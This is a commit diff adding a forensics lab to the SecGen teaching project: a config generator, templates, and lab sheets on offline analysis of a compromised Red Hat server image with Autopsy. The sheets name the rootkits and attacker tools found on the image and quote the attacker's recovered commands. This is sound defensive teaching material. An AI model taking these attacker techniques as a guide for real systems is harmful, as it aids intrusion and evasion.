mirror of
https://github.com/cliffe/SecGen.git
synced 2026-02-21 19:28:02 +00:00
lab updates
This commit is contained in:
@@ -0,0 +1,45 @@
|
||||
#!/usr/bin/ruby
|
||||
require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb'
|
||||
|
||||
class IDS < HackerbotConfigGenerator
|
||||
|
||||
attr_accessor :web_server_ip
|
||||
attr_accessor :ids_server_ip
|
||||
attr_accessor :hackerbot_server_ip
|
||||
|
||||
def initialize
|
||||
super
|
||||
self.module_name = 'Hackerbot Config Generator IDS'
|
||||
self.title = 'Dead Analysis'
|
||||
|
||||
self.local_dir = File.expand_path('../../',__FILE__)
|
||||
self.templates_path = "#{self.local_dir}/templates/"
|
||||
self.config_template_path = "#{self.local_dir}/templates/lab.xml.erb"
|
||||
self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb"
|
||||
|
||||
self.web_server_ip = []
|
||||
self.ids_server_ip = []
|
||||
self.hackerbot_server_ip = []
|
||||
end
|
||||
|
||||
def get_options_array
|
||||
super + [['--web_server_ip', GetoptLong::REQUIRED_ARGUMENT],
|
||||
['--ids_server_ip', GetoptLong::REQUIRED_ARGUMENT],
|
||||
['--hackerbot_server_ip', GetoptLong::REQUIRED_ARGUMENT]]
|
||||
end
|
||||
|
||||
def process_options(opt, arg)
|
||||
super
|
||||
case opt
|
||||
when '--web_server_ip'
|
||||
self.web_server_ip << arg;
|
||||
when '--ids_server_ip'
|
||||
self.ids_server_ip << arg;
|
||||
when '--hackerbot_server_ip'
|
||||
self.ids_server_ip << arg;
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
IDS.new.run
|
||||
@@ -0,0 +1,49 @@
|
||||
<?xml version="1.0"?>
|
||||
|
||||
<generator xmlns="http://www.github/cliffe/SecGen/generator"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://www.github/cliffe/SecGen/generator">
|
||||
<name>Hackerbot config for an investigation an analysis lab</name>
|
||||
<author>Z. Cliffe Schreuders</author>
|
||||
<module_license>GPLv3</module_license>
|
||||
<description>Generates a config file for a hackerbot for a lab.
|
||||
Topics covered: Dead Analysis.</description>
|
||||
|
||||
<type>hackerbot_config</type>
|
||||
<platform>linux</platform>
|
||||
|
||||
<read_fact>accounts</read_fact>
|
||||
<read_fact>flags</read_fact>
|
||||
<read_fact>root_password</read_fact>
|
||||
<read_fact>web_server_ip</read_fact>
|
||||
<read_fact>ids_server_ip</read_fact>
|
||||
<read_fact>hackerbot_server_ip</read_fact>
|
||||
|
||||
<!--TODO: require input, such as accounts, or fail?-->
|
||||
|
||||
<default_input into="accounts">
|
||||
<generator type="account">
|
||||
<input into="username">
|
||||
<value>vagrant</value>
|
||||
</input>
|
||||
</generator>
|
||||
</default_input>
|
||||
|
||||
<default_input into="flags">
|
||||
<generator type="flag_generator"/>
|
||||
<generator type="flag_generator"/>
|
||||
<generator type="flag_generator"/>
|
||||
<generator type="flag_generator"/>
|
||||
<generator type="flag_generator"/>
|
||||
<generator type="flag_generator"/>
|
||||
<generator type="flag_generator"/>
|
||||
<generator type="flag_generator"/>
|
||||
</default_input>
|
||||
|
||||
<default_input into="root_password">
|
||||
<value>puppet</value>
|
||||
</default_input>
|
||||
|
||||
<output_type>hackerbot</output_type>
|
||||
|
||||
</generator>
|
||||
@@ -0,0 +1,29 @@
|
||||
<html>
|
||||
<head>
|
||||
<title><%= self.title %></title>
|
||||
</head>
|
||||
<body>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<link rel="stylesheet" href="css/github-markdown.css">
|
||||
<style>
|
||||
.markdown-body {
|
||||
box-sizing: border-box;
|
||||
min-width: 200px;
|
||||
max-width: 980px;
|
||||
margin: 0 auto;
|
||||
padding: 45px;
|
||||
}
|
||||
@media (max-width: 767px) {
|
||||
.markdown-body {
|
||||
padding: 15px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
<article class="markdown-body">
|
||||
|
||||
<%= self.html_rendered %>
|
||||
|
||||
</article>
|
||||
<script src="js/code-prettify/loader/run_prettify.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
## License
|
||||
This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
|
||||
|
||||
Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version.
|
||||
@@ -0,0 +1,405 @@
|
||||
# Analysis of a Compromised System - Part 2: Offline Analysis
|
||||
|
||||
## Getting started
|
||||
|
||||
> ###==**Note: You cannot complete this lab (part 2) without having saved the evidence you collected during part 1 of the lab.**==
|
||||
|
||||
### VMs in this lab
|
||||
|
||||
==Start these VMs== (if you haven't already):
|
||||
|
||||
- hackerbot-server (leave it running, you don't log into this)
|
||||
- desktop (this week's)
|
||||
- desktop (last week's desktop VM, to access your evidence)
|
||||
- kali (user: root, password: toor)
|
||||
|
||||
All of these VMs need to be running to complete the lab.
|
||||
|
||||
## Introduction to dead (offline) analysis
|
||||
|
||||
Once you have collected information from a compromised computer (as you have done in the previous lab), you can continue analysis offline. There are a number of software environments that can be used do offline analysis. We will be using Kali Linux, which includes a number of forensic tools. Another popular toolset is the Helix incident response environment, which you may want to also experiment with.
|
||||
|
||||
This lab reinforces what you have learned about integrity management and log analysis, and introduces a number of new concepts and tools.
|
||||
|
||||
## Getting our data into the analysis environment
|
||||
|
||||
To start, we need to ==get the evidence that has been collected in the previous lab onto an analysis system== (copy to /root/evidence on the Kali VM) that has software for analysing the evidence.
|
||||
|
||||
If you still have your evidence stored on last week's desktop VM, you can transfer the evidence straight out of /home/*user* to the Kali Linux system using scp:
|
||||
|
||||
```bash
|
||||
scp -r *username-from-that-system*@*ip-address*:evidence evidence
|
||||
```
|
||||
> **Note the IP addresses**: run /sbin/ifconfig on last week's Desktop VM, and also run ifconfig on the Kali VM. Make a note of the two IP addresses, which should be on the same subnet (starting the same).
|
||||
|
||||
## Mounting the image read-only
|
||||
**On Kali Linux**:
|
||||
|
||||
It is possible to mount the partition image directly as a [*loop device*](http://en.wikipedia.org/wiki/Loop_device), and access the files directly. However, doing so should be done with caution (and is generally a bad idea, unless you are very careful), since there is some chance that it may result in changes to your evidence, and you risk infecting the analysis machine with any malware on the system being analysed. However, this technique is worth exploring, since it does make accessing files particularly convenient.
|
||||
|
||||
==Create a directory to mount our evidence onto:==
|
||||
|
||||
```bash
|
||||
mkdir /mnt/compromised
|
||||
```
|
||||
|
||||
==Mount the image== that we previously captured of the state of the main partition on the compromised system:
|
||||
|
||||
```bash
|
||||
mount -O ro -o loop evidence/hda1.img /mnt/compromised
|
||||
```
|
||||
|
||||
> Troubleshooting: If you used a VMware VM in the live analysis lab, you may need to replace hda1.img with sda1.img
|
||||
|
||||
Confirm that you can now see the files that were on the compromised system:
|
||||
|
||||
```bash
|
||||
ls /mnt/compromised
|
||||
```
|
||||
|
||||
## Preparing for analysis of the integrity of files
|
||||
|
||||
Fortunately the "system administrator" of the Red Hat server had run a file integrity tool to generate hashes before the system was compromised. Start by saving a copy of the hashes recorded of the system when it was in a clean state...
|
||||
|
||||
<a href="data:<%= File.read self.templates_path + 'md5sum-url-encoded' %>">Click here to download the md5 hashes of the system before it was compromised</a>
|
||||
|
||||
==Save the hashes in the evidence directory of the Kali VM, name the file "md5s".==
|
||||
|
||||
==View the file==, to confirm all went well:
|
||||
|
||||
```bash
|
||||
less evidence/md5s
|
||||
```
|
||||
> 'q' to quit
|
||||
|
||||
As you have learned in the Integrity Management lab, this information can be used to check whether files have changed.
|
||||
|
||||
## Starting Autopsy
|
||||
|
||||
Autopsy is a front-end for the Sleuth Kit (TSK) collection of forensic analysis command line tools. There is a version of Autopsy included in Kali Linux (a newer desktop-based version is also available for Windows).
|
||||
|
||||
==Create a directory== for storing the evidence files from Autopsy:
|
||||
|
||||
```bash
|
||||
mkdir /root/evidence/autopsy
|
||||
```
|
||||
|
||||
Start Autopsy. You can do this using the program menu. ==Click Applications / Forensics / autopsy.==
|
||||
|
||||
A terminal window should be displayed.
|
||||
|
||||
==Open Firefox, and visit [http://localhost:9999/autopsy](http://localhost:9999/autopsy)==
|
||||
|
||||
==Click "New Case".==
|
||||
|
||||
==Enter a case name==, such as "RedHatCompromised", and ==a description==, such as "Compromised Linux server", and ==enter your name==. ==Click "New Case".==
|
||||
|
||||
==Click the "Add Host" button.==
|
||||
|
||||
In section "6. Path of Ignore Hash Database", ==enter /root/linux-suspended-md5s==
|
||||
|
||||
==Click the "Add Host" button== at the bottom of the page
|
||||
|
||||
==Click "Add Image".==
|
||||
|
||||
==Click "Add Image File".==
|
||||
|
||||
For section "1. Location", ==enter /root/evidence/hda1.img==
|
||||
|
||||
For "2. Type", ==select "Partition".==
|
||||
|
||||
For "3. Import Method", ==select "Symlink".==
|
||||
|
||||
==Click "Next".==
|
||||
|
||||
==Click "Add".==
|
||||
|
||||
==Click "Ok".==
|
||||
|
||||
## File type analysis and integrity checking
|
||||
|
||||
Now that you have started and configured Autopsy with a new case and hash database, you can view the categories of files, while ignoring files that you know to be safe.
|
||||
|
||||
==Click "Analyse".==
|
||||
|
||||
==Click "File Type".==
|
||||
|
||||
==Click "Sort Files by Type".==
|
||||
|
||||
Confirm that "Ignore files that are found in the Exclude Hash Database" is selected.
|
||||
|
||||
==Click "Ok"==, this analysis takes some time.
|
||||
|
||||
Once complete, ==view the "Results Summary".==
|
||||
|
||||
The output shows that over 16000 files have been ignored because they were found in the md5 hashes ("Hash Database Exclusions"). This is good news, since what it leaves us with are the interesting files that have changed or been created since the system was in a clean state. This includes archives, executables, and text files (amongst other categories).
|
||||
|
||||
==Click "View Sorted Files".==
|
||||
|
||||
Copy the results file location as reported by Autopsy, and ==open the report in a new tab within Firefox:==
|
||||
|
||||
> /var/lib/autopsy/RedHatCompromised/host1/output/sorter-vol1/index.html
|
||||
|
||||
==Click "compress"==, to view the compressed files. You are greeted with a list of two compressed file archives, "/etc/opt/psyBNC2.3.1.tar.gz", and "/root/sslstop.tar.gz".
|
||||
|
||||
==Figure out what `psyBNC2.3.1.tar.gz` is used for.==
|
||||
> Try using Google, to search for the file name, or part thereof.
|
||||
|
||||
Browse the evidence in /mnt/compromised/etc/opt (on the Kali Linux system, using a file browser, such as Dolphin) and look at the contents of the archive (in /etc/opt, and you may find that the attacker has left an uncompressed version which you can assess in Autopsy). Remember, don't execute any files from the compromised system on your analysis machine: you don't want to end up infecting your analysis machine. For this reason, it is safer to assess these files via Autopsy. ==Browse to the directory by clicking back to the Results Summary tab of Autopsy, and clicking "File Analysis"==, then browse to the files from there (in /etc/opt). Read the psyBNC README file, and ==note what this software package is used for.==
|
||||
|
||||
> **Help: if the README file did not display as expected,** click on the inode (meta) number at the right-hand side of the line containing the README file. You will need to click each direct block link in turn to see the content of the README file. The direct block links are displayed at the bottom left-hand side of the webpage.
|
||||
|
||||
Next, we investigate what sslstop.tar.gz is used for. A quick Google brings up a CGSecurity.org page, which reports that this script modifies httpd.conf to disable SSL support from Apache. Interesting... Why would an attacker want to disable SSL support? This should soon become clear.
|
||||
|
||||
==Return the page where "compress" was accessed== (/root/evidence/autopsy/RedHatCompromised/host1/output/sorter-vol1/index.html), and ==click "exec"==. This page lists a fairly extensive collection of new executables on our compromised server.
|
||||
|
||||
==Make a list of all the executables that are likely trojanized.==
|
||||
> Hint: for now ignore the "relocatable" objects left from compiling the PSYBNC software, and focus on "executable" files, especially those in /bin/ and /usr/bin/.
|
||||
|
||||
---
|
||||
|
||||
Refer to your previously collected evidence to ==identify whether any of the new executables were those with open ports== when live information was collected. Two of these have particularly interesting file names: `/usr/bin/smbd -D` and `/usr/bin/(swapd)`. These names are designed to be deceptive: for example, the inclusion of ` -D` is designed to trick system administrators into thinking that any processes were started with the "-D" command line argument flag.
|
||||
|
||||
Note that /lib/.x/ contains a number of new executables, including one called "hide". These are likely part of a rootkit.
|
||||
> **Hint:** to view these files you will have to look in /mnt/compromised/lib/.x. The .x folder is a hidden folder (all folders and file in Linux that begin with a "." ar hidden files). Therefore, you will have to use the -a switch when using the ls command in a terminal or tell the graphical file manager to display hidden files ( View > Show Hidden Files or Ctrl+H).
|
||||
|
||||
==Using Autopsy "File Analysis" mode, browse to "/lib/.x/"==. **Explicit language warning: if you are easily offended, then skip this next step.** View the contents of "install.log".
|
||||
> **Hint:** you will have to click **../** to move up the directory tree until you can see the lib directory in the root directory /.
|
||||
|
||||
> **Help: if the install.log file did not display as expected,** click on the inode (meta) number at the right-hand side of the line containing the README file. You will need to click the direct block link to see the content of the install.log file. The direct block links are displayed at the bottom left-hand side of the webpage.
|
||||
|
||||
This includes the lines:
|
||||
|
||||
> \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#
|
||||
> \# SucKIT version 1.3b by Unseen < unseen@broken.org > \#
|
||||
> \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#
|
||||
|
||||
SuckIT is a rootkit that tampers with the Linux kernel directly via /dev/kmem, rather than the usual approach of loading a loadable kernel module (LKM). The lines in the log may indicate that the rootkit had troubles loading.
|
||||
|
||||
SuckIT and the rootkit technique is described in detail in Phrack issue 58, article 0x07 "Linux on-the-fly kernel patching without LKM"
|
||||
|
||||
> [*http://www.textfiles.com/magazines/PHRACK/PHRACK58*](http://www.textfiles.com/magazines/PHRACK/PHRACK58)
|
||||
|
||||
==Using Autopsy "File Analysis", view the file /lib/.x/.boot==
|
||||
|
||||
> **Help:** again you may need to view the block directly that contains the .boot file. Make a note of the file's access times, this will come in handy soon.
|
||||
|
||||
This shell script starts an SSH server (s/xopen), and sends an email to a specific email address to inform them that the machine is available. View the script, and ==determine what email address it will email the information to.==
|
||||
|
||||
Return to the file type analysis (presumably still open in an Iceweasel tab), still viewing the "exec" category, also note the presence of "adore.o". Adore is another rootkit (and worm), this one loads via an LKM (loadable kernel module).
|
||||
|
||||
Here is a concise description of a version of Adore:
|
||||
|
||||
> [*http://lwn.net/Articles/75990/*](http://lwn.net/Articles/75990/)
|
||||
|
||||
This system is well and truly compromised, with multiple kernel rootkits installed, and various trojanized binaries.
|
||||
|
||||
### Timeline analysis
|
||||
|
||||
It helps to reconstruct the timeline of events on the system, to get a better understanding. Software such as Sluthkit (either using the Autopsy frontend or the mactime command line tool) analyses the MAC times of files (that is, the most recent modification, most recent access, and most recent inode change[^1]) to reconstruct a sequence of file access events.
|
||||
|
||||
In another Firefox tab, ==visit [*http://localhost:9999/autopsy*](http://localhost:9999/autopsy), click "Open Case", "Ok", "Ok".==
|
||||
|
||||
==Click "File Activity Timelines".==
|
||||
|
||||
==Click "Create Data File".==
|
||||
|
||||
==Select "/1/ hda1.img-0-0 ext".==
|
||||
|
||||
==Click "Ok".==
|
||||
|
||||
==Click "Ok".==
|
||||
|
||||
For "5. Select the UNIX image that contains the /etc/passwd and /etc/group files", ==select "hda1.img-0-0".==
|
||||
|
||||
Wait while a timeline is generated.
|
||||
|
||||
==Click "Ok".==
|
||||
|
||||
Once analysis is complete, the timeline is presented. Note that the timeline starts with files accessed on Jan 01 1970.
|
||||
|
||||
==Click "Summary".==
|
||||
|
||||
A number of files are specified as accessed on Jan 01 1970. What is special about this date?
|
||||
|
||||
==Browse through the history.== Note that it is very detailed, and it is easy to get lost (and waste time) in irrelevant detail.
|
||||
|
||||
The access date you previously recorded (for "/lib/.x/.boot") was in August 2003, so this is probably a good place to start.
|
||||
|
||||
==Browse to August 2003 on the timeline==, and follow along:
|
||||
|
||||
Note that on the 6th of August it seems many files were accessed, and not altered (displayed as ".a.."[^2]). This is probably the point at which the md5 hashes of all the files on the system were collected.
|
||||
|
||||
On 9th August a number of config files were accessed including "/sbin/runlevel", "/sbin/ipchains", and "/bin/login". This indicates that the system was likely rebooted at this time.
|
||||
|
||||
On 10th August, a number of files that have since been deleted were accessed.
|
||||
|
||||
Shortly thereafter the inode data was changed (displayed as "..c.") for many files. Then many files owned by the *apache* user were last modified before they were deleted. The apache user goes on to access some more files, and then a number of header files (.h) were accessed, presumably in order to compile a C program from source. Directly after, some files were created, including "/usr/lib/adore", the Adore rootkit.
|
||||
|
||||
At 23:30:54 /root/.bash\_history and /var/log/messages were symlinked to /dev/null.
|
||||
|
||||
Next more header files were accessed, this time Linux kernel headers, presumably to compile a kernel module (or perhaps some code that tries to tamper with the kernel). This was followed by the creation of the SuckIT rootkit files, which we previously investigated.
|
||||
|
||||
Note that a number of these files are created are again owned by the "apache" user.
|
||||
|
||||
What does this tell you about the likely source of the compromise?
|
||||
|
||||
Further down, note the creation of the /root/sslstop.tar.gz file which was extracted (files created), then compiled and run. Shortly after, the Apache config file (/etc/httpd/conf/httpd.conf) was modified.
|
||||
|
||||
Why would an attacker, after compromising a system, want to stop SSL support in Apache?
|
||||
|
||||
Meanwhile the attacker has accidently created a /.bash\_history, which has not been deleted.
|
||||
|
||||
Further down we see wget accessed and used to download the /etc/opt/psyBNC2.3.1.tar.gz file, which we investigated earlier.
|
||||
|
||||
This file was then extracted, and the program compiled. This involved accessing many header (.h) files. Finally, the "/etc/opt/psybnc/psybnc.conf" file is modified, presumably by the attacker, in order to configure the behaviour of the program.
|
||||
|
||||
---
|
||||
|
||||
## Logs analysis
|
||||
|
||||
As you learned in the Log Management topic, the most common logging system on Unix systems is Syslog, which is typically configured in /etc/syslog.conf (or similar, such as rsyslog). Within the Autopsy File Analysis browser, ==navigate to this configuration file and view its contents.== Note that most logging is configured to go to /var/log/messages. Some security messages are logged to /var/log/secure. Boot messages are logged to /var/log/boot.log.
|
||||
|
||||
==Make a note of where mail messages are logged==, you will use this later:
|
||||
|
||||
Within Autopsy, browse to /var/log. Note that you cannot view the messages file, which would have contained many helpful log entries. Click the inode number to the right (47173):
|
||||
|
||||
As previously seen in the timeline, this file has been symlinked to /dev/null. If you are not familiar with /dev/null, search the Internet for an explanation.
|
||||
|
||||
For now, we will continue by investigating the files that are available, and later investigate deleted files.
|
||||
|
||||
Using Autopsy, ==view the /var/log/secure file==, and identify any IP addresses that have attempted to log in to the system using SSH or Telnet.
|
||||
|
||||
==Determine the country of origin for each of these connection attempts:==
|
||||
|
||||
> On a typical Unix system we can look up this information using the command:
|
||||
|
||||
```bash
|
||||
whois *IP-address*
|
||||
```
|
||||
> (Where IP-address is the IP address being investigated).
|
||||
>
|
||||
> However, this may not be possible from within our lab environment, and alternatively there are a number of websites that be used (potentially from your own host PC):
|
||||
>
|
||||
> [*http://whois.domaintools.com/*](http://whois.domaintools.com/)
|
||||
>
|
||||
> [*http://whois.net/ip-address-lookup/*](http://whois.net/ip-address-lookup/)
|
||||
>
|
||||
> You may also run a traceroute to determine what routers lie between your system and the remote system.
|
||||
>
|
||||
> Additionally, software and websites exist that will graphically approximate the location of the IP:
|
||||
>
|
||||
> [*http://www.iplocationfinder.com/*](http://www.iplocationfinder.com/)
|
||||
|
||||
---
|
||||
|
||||
Within Autopsy, ==view the /var/log/boot.log file==. At the top of this file Syslog reports starting at August 10 at 13:33:57.
|
||||
|
||||
==LogBook Question: Given what we have learned about this system during timeline analysis, what is suspicious about Syslog restarting on August 10th? Was the system actually restarted at that time?==
|
||||
|
||||
Note that according to the log, Apache fails to restart. Why can't Apache restart? Do you think the attacker intended to do this?
|
||||
|
||||
==Open the mail log file==, which you recorded the location of earlier. ==Identify the email addresses that messages were sent to.==
|
||||
|
||||
---
|
||||
|
||||
Another valuable source of information are records of commands that have been run by users. One source of this information is the .bash\_history file. As noted during timeline analysis, the /root/.bash\_history file was symlinked to /dev/null, meaning the history was not saved. However, the attacker did leave behind a Bash history file in the root of the filesystem ("/"). ==View this file.==
|
||||
|
||||
Towards the end of this short Bash session the attacker downloads sslstop.tar.gz, then the attacker runs:
|
||||
|
||||
```bash
|
||||
ps aux | grep apache
|
||||
|
||||
kill -9 21510 21511 23289 23292 23302
|
||||
```
|
||||
|
||||
==LogBook Question: What is the attacker attempting to do with these commands?==
|
||||
|
||||
Apache has clearly played an important role in the activity of the attacker, so it is natural to investigate Apache's configuration and logs.
|
||||
|
||||
Still in Autopsy, ==browse to /etc/httpd/conf/, and view httpd.conf.==
|
||||
|
||||
Note that the Apache config has been altered by sslstop, by changing the "HAVE\_SSL" directive to "HAVE\_SSS" (remember, this file was shown in the timeline to be modified after sslstop was run)
|
||||
|
||||
This configuration also specifies that Apache logs are stored in /etc/httpd/logs, and upon investigation this location is symlinked to /var/log/httpd/. This is a common Apache configuration.
|
||||
|
||||
Unfortunately the /var/log/httpd/ directory does not exist, so clearly the attacker has attempted to cover their tracks by deleting Apache's log files.
|
||||
|
||||
## Deleted files analysis
|
||||
|
||||
Autopsy can be used to view files that have been deleted. Simply click "All Deleted Files", and browse through the deleted files it has discovered. Some of the deleted files will have known filenames, others will not.
|
||||
|
||||
However, this is not an efficient way of searching through content to find relevant information.
|
||||
|
||||
Since we are primarily interested in recovering lost log files (which are ASCII human-readable), one of the quickest methods is to extract all unallocated data from our evidence image, and search that for likely log messages. Autopsy has a keyword search. However, manual searching can be more efficient.
|
||||
|
||||
In a terminal console in Kali Linux, ==run:==
|
||||
|
||||
```bash
|
||||
blkls -A evidence/hda1.img | strings > evidence/unallocated
|
||||
```
|
||||
|
||||
This will extract all unallocated blocks from the partition, and run this through strings, which reduces it to text only (removing any binary data), and the results are stored in "evidence/unallocated".
|
||||
|
||||
Open the extracted information for viewing:
|
||||
|
||||
```bash
|
||||
less evidence/unallocated
|
||||
```
|
||||
|
||||
Scroll down, and ==find any deleted email message logs.==
|
||||
|
||||
> Hint: try pressing ":" then type "/To:".
|
||||
|
||||
==LogBook Question: What sorts of information was emailed?==
|
||||
|
||||
To get the list of all email recipients quit less (press 'q'), and ==run:==
|
||||
|
||||
```bash
|
||||
grep "To:.*@" evidence/unallocated
|
||||
```
|
||||
|
||||
Once again, ==open the extracted deleted information== for viewing:
|
||||
|
||||
```bash
|
||||
less evidence/unallocated
|
||||
```
|
||||
|
||||
Scroll down until you notice some Bash history. What files have been downloaded using wget? Quit less, and write a grep command to search for wget commands used to download files.
|
||||
|
||||
---
|
||||
|
||||
==Write a grep command to search for commands used by the attacker to delete files from the system.==
|
||||
|
||||
Once again, open the extracted deleted information for viewing:
|
||||
|
||||
```bash
|
||||
less evidence/unallocated
|
||||
```
|
||||
|
||||
Press ":" and type "/shellcode". There a quite a few exploits on this system, not all of which were used in the compromise.
|
||||
|
||||
==Search for the contents of log files==, that were recorded on the day the attack took place:
|
||||
|
||||
```bash
|
||||
grep "Aug[/ ]10" evidence/unallocated
|
||||
```
|
||||
Note that there is an error message from Apache that repeats many times, complaining that it cannot hold a lockfile. This is caused by the attacker having deleted the logs directory, which Apache is using.
|
||||
|
||||
If things have gone extremely well the output will include further logs from Apache, including error messages with enough information to search the Internet for information about the exploit that was used to take control of Apache to run arbitrary code. If not, then at some point during live analysis you may have clobbered some deleted files. This is the important piece of information from unallocated disk space:
|
||||
|
||||
`
|
||||
[Sun Aug 10 13:24:29 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
|
||||
|
||||
[Sun Aug 10 13:24:29 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
|
||||
`
|
||||
|
||||
This may indicate the exploitation of this software vulnerability:
|
||||
|
||||
> OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability
|
||||
>
|
||||
> [*http://www.securityfocus.com/bid/5363*](http://www.securityfocus.com/bid/5363)
|
||||
|
||||
[^1]: Note that the specifics of the times that are recorded depend on the filesystem in use. A typical Unix filesystem keeps a record of the most recent modification, most recent access, and most recent inode change. On Windows filesystems a creation date may be recorded in place of the inode change date.
|
||||
|
||||
[^2]: [*http://wiki.sleuthkit.org/index.php?title=Mactime\_output*](http://wiki.sleuthkit.org/index.php?title=Mactime_output)
|
||||
@@ -0,0 +1,79 @@
|
||||
## Deleted files analysis
|
||||
|
||||
Autopsy can be used to view files that have been deleted. Simply click "All Deleted Files", and browse through the deleted files it has discovered. Some of the deleted files will have known filenames, others will not.
|
||||
|
||||
However, this is not an efficient way of searching through content to find relevant information.
|
||||
|
||||
Since we are primarily interested in recovering lost log files (which are ASCII human-readable), one of the quickest methods is to extract all unallocated data from our evidence image, and search that for likely log messages. Autopsy has a keyword search. However, manual searching can be more efficient.
|
||||
|
||||
In a terminal console in Kali Linux, ==run:==
|
||||
|
||||
```bash
|
||||
blkls -A evidence/hda1.img | strings > evidence/unallocated
|
||||
```
|
||||
|
||||
This will extract all unallocated blocks from the partition, and run this through strings, which reduces it to text only (removing any binary data), and the results are stored in "evidence/unallocated".
|
||||
|
||||
Open the extracted information for viewing:
|
||||
|
||||
```bash
|
||||
less evidence/unallocated
|
||||
```
|
||||
|
||||
Scroll down, and ==find any deleted email message logs.==
|
||||
|
||||
> Hint: try pressing ":" then type "/To:".
|
||||
|
||||
==LogBook Question: What sorts of information was emailed?==
|
||||
|
||||
To get the list of all email recipients quit less (press 'q'), and ==run:==
|
||||
|
||||
```bash
|
||||
grep "To:.*@" evidence/unallocated
|
||||
```
|
||||
|
||||
Once again, ==open the extracted deleted information== for viewing:
|
||||
|
||||
```bash
|
||||
less evidence/unallocated
|
||||
```
|
||||
|
||||
Scroll down until you notice some Bash history. What files have been downloaded using wget? Quit less, and write a grep command to search for wget commands used to download files.
|
||||
|
||||
---
|
||||
|
||||
==Write a grep command to search for commands used by the attacker to delete files from the system.==
|
||||
|
||||
Once again, open the extracted deleted information for viewing:
|
||||
|
||||
```bash
|
||||
less evidence/unallocated
|
||||
```
|
||||
|
||||
Press ":" and type "/shellcode". There a quite a few exploits on this system, not all of which were used in the compromise.
|
||||
|
||||
==Search for the contents of log files==, that were recorded on the day the attack took place:
|
||||
|
||||
```bash
|
||||
grep "Aug[/ ]10" evidence/unallocated
|
||||
```
|
||||
Note that there is an error message from Apache that repeats many times, complaining that it cannot hold a lockfile. This is caused by the attacker having deleted the logs directory, which Apache is using.
|
||||
|
||||
If things have gone extremely well the output will include further logs from Apache, including error messages with enough information to search the Internet for information about the exploit that was used to take control of Apache to run arbitrary code. If not, then at some point during live analysis you may have clobbered some deleted files. This is the important piece of information from unallocated disk space:
|
||||
|
||||
`
|
||||
[Sun Aug 10 13:24:29 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
|
||||
|
||||
[Sun Aug 10 13:24:29 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
|
||||
`
|
||||
|
||||
This may indicate the exploitation of this software vulnerability:
|
||||
|
||||
> OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability
|
||||
>
|
||||
> [*http://www.securityfocus.com/bid/5363*](http://www.securityfocus.com/bid/5363)
|
||||
|
||||
[^1]: Note that the specifics of the times that are recorded depend on the filesystem in use. A typical Unix filesystem keeps a record of the most recent modification, most recent access, and most recent inode change. On Windows filesystems a creation date may be recorded in place of the inode change date.
|
||||
|
||||
[^2]: [*http://wiki.sleuthkit.org/index.php?title=Mactime\_output*](http://wiki.sleuthkit.org/index.php?title=Mactime_output)
|
||||
|
||||
@@ -0,0 +1,185 @@
|
||||
# Analysis of a Compromised System - Offline Analysis
|
||||
|
||||
## Getting started
|
||||
|
||||
### VMs in this lab
|
||||
|
||||
==Start these VMs== (if you haven't already):
|
||||
|
||||
- hackerbot-server (leave it running, you don't log into this)
|
||||
- desktop
|
||||
- kali (user: root, password: toor)
|
||||
|
||||
All of these VMs need to be running to complete the lab.
|
||||
|
||||
## Introduction to dead (offline) analysis
|
||||
|
||||
Once you have collected information from a compromised computer (as you have done in the previous lab), you can continue analysis offline. There are a number of software environments that can be used do offline analysis. We will be using Kali Linux, which includes a number of forensic tools. Another popular toolset is the Helix incident response environment, which you may want to also experiment with.
|
||||
|
||||
This lab reinforces what you have learned about integrity management and log analysis, and introduces a number of new concepts and tools.
|
||||
|
||||
## IMG of a compromised server
|
||||
|
||||
In /root/evidence/ you will find a copy of an image copied from a live system, that was connected to the Internet and attacked. The image is a few years old, but is still an excellent example of the kinds of evidence you can find.
|
||||
|
||||
## Mounting the image read-only
|
||||
**On Kali Linux**:
|
||||
|
||||
It is possible to mount the partition image directly as a [*loop device*](http://en.wikipedia.org/wiki/Loop_device), and access the files directly. However, doing so should be done with caution (and is generally a bad idea, unless you are very careful), since there is some chance that it may result in changes to your evidence, and you risk infecting the analysis machine with any malware on the system being analysed. However, this technique is worth exploring, since it does make accessing files particularly convenient.
|
||||
|
||||
==Create a directory to mount our evidence onto:==
|
||||
|
||||
```bash
|
||||
mkdir /mnt/compromised
|
||||
```
|
||||
|
||||
==Mount the image== that we previously captured of the state of the main partition on the compromised system:
|
||||
|
||||
```bash
|
||||
mount -O ro -o loop evidence/hda1.img /mnt/compromised
|
||||
```
|
||||
|
||||
> Troubleshooting: If you used a VMware VM in the live analysis lab, you may need to replace hda1.img with sda1.img
|
||||
|
||||
Confirm that you can now see the files that were on the compromised system:
|
||||
|
||||
```bash
|
||||
ls /mnt/compromised
|
||||
```
|
||||
|
||||
## Preparing for analysis of the integrity of files
|
||||
|
||||
Fortunately the "system administrator" of the Red Hat server had run a file integrity tool to generate hashes before the system was compromised. Start by saving a copy of the hashes recorded of the system when it was in a clean state...
|
||||
|
